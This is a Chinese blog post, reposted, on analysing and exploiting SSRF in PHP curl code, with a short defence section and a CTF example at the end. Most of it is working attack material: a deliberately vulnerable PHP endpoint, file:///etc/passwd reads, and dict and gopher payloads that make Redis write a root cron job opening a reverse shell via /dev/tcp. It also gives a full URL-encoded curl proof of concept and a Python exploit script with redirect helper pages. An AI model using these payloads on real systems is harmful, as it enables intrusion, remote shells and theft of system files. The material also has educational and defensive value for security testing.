SSRF漏洞分析与利用
转自:http://www.4o4notfound.org/index.php/archives/33/
前言:总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的
0x01 漏洞产生
以curl为例,漏洞代码为ssrf.php
<?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); curl_close($ch); ?>
0x02 利用方式
首先查看curl的版本和该版本支持的协议
[root@localhost html]# curl -V curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.21 Basic ECC zlib/1.2.7 libidn/1.28 libssh2/1.4.3 Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp scp sftp smtp smtps telnet tftp Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz unix-sockets
可以看到该版本的curl支持很多协议,其中gopher协议、dict协议、file协议、http/s协议用的比较多 ps:上面的漏洞代码ssrf.php没有屏蔽回显,所以利用姿势比较多 gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议。 先监听本地2333端口,然后利用gopher协议访问
[root@localhost ~]# nc -l -vv Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Listening on ::: Ncat: Listening on Ncat: Connection from 127.0.0.1. Ncat: Connection from [root@localhost html]# curl -v 'http://127.0.0.1/ssrf.php?url=gopher://127.0.0.1:2333/_test' [root@localhost ~]# nc -l -vv Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Listening on ::: Ncat: Listening on Ncat: Connection from 127.0.0.1. Ncat: Connection from . test
可以看到数据发送了。一开始感觉反弹传输数据没多大用,后来看了gopher和dict攻击redis和脆弱的内网应用的exp才明白
dict:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问
http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info
即可看到redis的相关配置。
http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info
即可看到ssh的banner信息
如果ssrf.php中加上一行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那么这种方式就失效了,和gopher一样,只能利用nc监听端口,反弹传输数据了。
file:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问
http://4o4notfound.org/ssrf.php?url=file:///etc/passwd
即可看到很多不可描述的东西。同理,如果屏蔽回显,该协议就废了
http/s:主要用来探测内网服务。根据响应的状态判断内网端口及服务,可以结合java系列0day和其他各种0day使用
0x03 攻击应用
主要攻击redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,这里以redis为例,分别利用gopher协议和dict协议getshell
首先要了解redis的getshell的exp写成的bash shell:
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1 redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit
执行命令bash shell.sh 127.0.0.1 6379,就在redis里面写了一个键值对的定时任务(利用crontab),可以反弹shell。
gopher利用:这部分三叶草的joychou师傅说的很详细,可以看ssrf in php。
这里为了构造符合gopher协议的访问请求,首先要获取bash脚本对redis发出的访问请求,要用socat进行端口转发,转发命令为:
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
意思是将访问4444端口的流量转发到6379端口。也就是如果我们的bash脚本请求的是4444端口,仍然访问的是6379的redis,相当于一个中转
执行命令:
bash shell.sh 127.0.0.1 4444
socat就获取到了shell.sh对redis发出的请求(这里贴出来部分请求):
[root@localhost cron]# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379 > 2017/05/25 07:16:51.991865 length=18 from=0 to=17 *1\r $8\r flushall\r < 2017/05/25 07:16:51.992468 length=5 from=0 to=4 +OK\r > 2017/05/25 07:16:51.995872 length=83 from=0 to=82 *3\r $3\r set\r $1\r 1\r $56\r */1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1 \r < 2017/05/25 07:16:51.996065 length=5 from=0 to=4 +OK\r > 2017/05/25 07:16:51.998777 length=57 from=0 to=56 *4\r $6\r
改成适配gopher协议的url:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
再进行urlencode,得到payload:
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a
最终的攻击poc为:
curl -v 'http://127.0.0.1/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
执行即可在/var/spool/cron/下生成一个名为root的定时任务,任务为反弹shell
dict利用:dict协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾自动补上rn(CRLF)。也就是如果我们发出dict://serverip:port/config:set:dir:/var/spool/cron/的请求,redis就执行了config set dir /var/spool/cron/ rn.用这种方式可以一步步执行redis getshell的exp,执行完就能达到和gopher一样的效果。原理一样,但是gopher只需要一个url请求即可,dict需要步步构造。
利用猪猪侠的wooyun上公开的脚本改成适配本文的脚本ssrf.py:
import requests host = '104.224.151.234' port = '6379' bhost = 'www.4o4notfound.org' bport=2333 vul_httpurl = 'http://www.4o4notfound.org/ssrf.php?url=' _location = 'http://www.4o4notfound.org/302.php' shell_location = 'http://www.4o4notfound.org/shell.php' #1 flush db _payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #set crontab command _payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format( host = host, port = port, bhost = bhost, bport = bport) exp_uri = '{vul_httpurl}{0}{1}'.format(shell_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #confg set dir _payload='?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #config set dbfilename _payload='?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #save _payload='?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content
因为curl默认不支持302跳转,而该脚本要用到302跳转,所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”来支持跳转。302.php代码为:
<?php $ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port/$data"); ?>
shell.php主要用于写入用于反弹shell的crontab的定时任务,代码为:
<?php $ip = $_GET['ip']; $port = $_GET['port']; $bhost = $_GET['bhost']; $bport = $_GET['bport']; $scheme = $_GET['s']; header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>
执行ssrf.py,即可在/var/spool/cron/下写入定时任务,反弹shell,nc等待接收shell
0x04 绕过与防御
绕过:可以使用www.ip.xip.io或者www.ip.xip.io代替ip可以绕过部分过滤
防御:限制协议为HTTP、HTTPS
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
禁止30x跳转
删掉curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
设置白名单或限制内网ip
0x05 例题
一道ctf题目,有两个文件:ssrf3.php和flag.php
题目意思是flag只能127.0.0.1访问,还进行了post验证,这就需要gopher提交post数据来绕过
curl设置了302跳转,所以可以把302.php放在自己的vps上进行跳转.
首先获取访问flag.php的post请求:
POST /flag.php HTTP/1.1 Host: 192.168.154.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 14 username=admin
因为只有一台机器,所以我直接将Host改成了127.0.0.1,再改成符合gopher协议的请求,写入302.php。
302.php内容为
header("Location:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0%0d%0aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip, deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 14%0d%0a%0d%0ausername=admin");
流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然后漏洞机器会访问302.php,然后跳转,利用gopher协议,自己访问自己的flag.php同时提交username=admin的post数据。flag可以在ssrf3.php的页面源代码中看到。
因为都是一台机器在操作,但应该不是紫薇吧.ps:改装成符合gopher协议的get、post类型请求还是要小心的
如有错误,请务必指正。
SSRF漏洞分析与利用的更多相关文章
- ssrf漏洞分析
ssrf漏洞分析 关于ssrf 首先简单的说一下我理解的ssrf,大概就是服务器会响应用户的url请求,但是没有做好过滤和限制,导致可以攻击内网. ssrf常见漏洞代码 首先有三个常见的容易造成ssr ...
- FakeID签名漏洞分析及利用(二)
本文转自:http://blog.csdn.net/l173864930/article/details/38409521 继上一次Masterkey漏洞之后,Bluebox在2014年7月30日又公 ...
- Vivotek 摄像头远程栈溢出漏洞分析及利用
Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
- CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 一.前言 FFmpeg是一个著名的处理音视频的开源项目,使用者众多.2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190 ...
- SEIG Modbus 3.4 CVE-2013-0662 漏洞分析与利用
前言 Schneider Electric Modbus Serial Driver 会监听 27700 端口,程序在处理客户端发送的数据时会导致栈溢出. 测试环境: windows xp sp3 相 ...
- word漏洞分析与利用
众所周知,溢出漏洞从应用形式上可分为远程服务溢出漏洞和客户端(本地)溢出漏洞两类.远程服务溢出漏洞大家很熟悉了,红色代码.冲击波.振荡波等蠕虫都利用了此类漏洞,漏洞的调试和利用有相应的一套方法,前面的 ...
- 一个网络设备的常见功能--连通性检查SSRF漏洞--被黑客利用当做扫描器
一.我们先来看一下很多网络设备都有的一个常见功能--连通性测试: 很多网络设备都具备与其他设备通信,联动的功能,例如网络设备联动安全设备,网络设备联动认证设备等等.此时都需要一个对端IP和对端端口号作 ...
- FakeID签名漏洞分析及利用(一)
作者:申迪 转载请注明出处: http://blogs.360.cn/360mobile BlueBox于7月30日宣布安卓从2010年以来一直存在一个apk签名问题[1],并且会在今年Black ...
随机推荐
- 【BZOJ4126】【BZOJ3516】【BZOJ3157】国王奇遇记 线性插值
题目描述 三倍经验题. 给你\(n,m\),求 \[ \sum_{i=1}^ni^mm^i \] \(n\leq {10}^9,1\leq m\leq 500000\) 题解 当\(m=1\)时\(a ...
- Nginx加载模块
1. /usr/local/nginx/sbin/nginx -V 查看nginx版本与编译安装了哪些模块nginx version: nginx/1.10.3built by gcc 4.4.7 2 ...
- Codeforces 1076D Edge Deletion(最短路树)
题目链接:Edge Deletion 题意:给定一张n个顶点,m条边的带权无向图,已知从顶点1到各个顶点的最短路径为di,现要求保留最多k条边,使得从顶点1到各个顶点的最短距离为di的顶点最多.输出m ...
- 关于Autosar中DCM(14229UDS)模块的理解
阅读本篇文章希望达到的目的是: UDS是干什么的, ISO14229是如何定义规则的, 希望接下来的阅读让你不虚此行. 1. UDS是干什么的?UDS全称是Unified Diagnostic Ser ...
- hdu1272 小希的迷宫(并查集)
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1272 题目: 小希的迷宫 Time Limit: 2000/1000 MS (Java/Others) ...
- 生成SSH密钥添加到GitHub
将自己的过程和踩坑写下来 一.检查是否有SSH 1.打开Git的目录文件,下图是我电脑中git的文件目录 2.点击git-bash.exe,输入ssh查看电脑中是否已存在ssh,会出现以下结果,证明已 ...
- 洛谷P4362 贪吃的九头龙
大意就是把一棵树的点染成m种颜色,其中1号点的颜色必须染恰好k个节点. 总代价是所有两端点颜色相同的边的边权. 求最小代价. 解:可以分为m == 2和m > 2两个题. m > 2时有代 ...
- Django(十一)请求生命周期之响应内容(请求/响应 头/体)
https://www.cnblogs.com/renpingsheng/p/7534897.html Django请求生命周期之响应内容 http提交数据的方式有"post",& ...
- 跟我一起用node-express搭建一个小项目(mongodb)[二]
我的小项目主要是会用到MongoDB. 呵呵,我也是现学现卖. 都说小公司十八般武艺样样稀疏,没有办法啊! 兵来兵挡,将来将挡!自己是个兵呢?还是一个将呢! 没有公司培养,就自己培养自己呗.差的远一点 ...
- cnblogs latex公式
选项->启用数学公式支持 \begin{equation*} \begin{split} &xxx\\ &xxx\\ \end{split} \end{equation*} (\ ...